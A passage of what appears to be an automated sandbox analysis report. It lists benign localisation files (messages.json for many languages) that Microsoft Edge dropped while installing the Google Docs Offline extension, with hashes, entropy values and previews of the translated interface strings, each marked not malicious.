Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
